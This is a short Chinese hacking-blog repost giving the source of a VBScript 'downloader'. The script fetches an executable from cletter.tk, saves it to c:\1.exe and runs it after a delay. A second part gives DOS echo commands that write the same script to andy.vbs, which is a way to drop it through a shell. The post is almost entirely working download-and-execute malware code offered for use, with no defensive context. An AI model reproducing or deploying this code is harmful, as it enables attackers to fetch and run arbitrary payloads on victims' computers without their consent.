VBS下载者源代码

HackGp vbs

Set Post = CreateObject(“Msxml2.XMLHTTP”)
Set Shell = CreateObject(“Wscript.Shell”)
Post.Open “GET”,”http://www.cletter.tk/cletter/1.exe”,0
Post.Send()
Set aGet = CreateObject(“ADODB.Stream”)
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile “c:\1.exe”,2
wscript.sleep 10000
Shell.Run (“c:\1.exe”) ‘延迟过后执行下载文件

DOS下执行

echo Set Post = CreateObject(“Msxml2.XMLHTTP”) >>andy.vbs
echo Set Shell = CreateObject(“Wscript.Shell”) >>andy.vbs
echo Post.Open “GET”,”http://www.cletter.tk/cletter/1.exe”,0 >>andy.vbs
echo Post.Send() >>andy.vbs
echo Set aGet = CreateObject(“ADODB.Stream”) >>andy.vbs
echo aGet.Mode = 3 >>andy.vbs
echo aGet.Type = 1 >>andy.vbs
echo aGet.Open() >>andy.vbs
echo aGet.Write(Post.responseBody) >>andy.vbs
echo aGet.SaveToFile “c:\1.exe”,2 >>andy.vbs
echo wscript.sleep 1000 >>andy.vbs
echo Shell.Run (“c:\1.exe”) >>andy.vbs

转载于:https://www.cnblogs.com/cdxkyz/archive/2011/11/26/vbs_down.html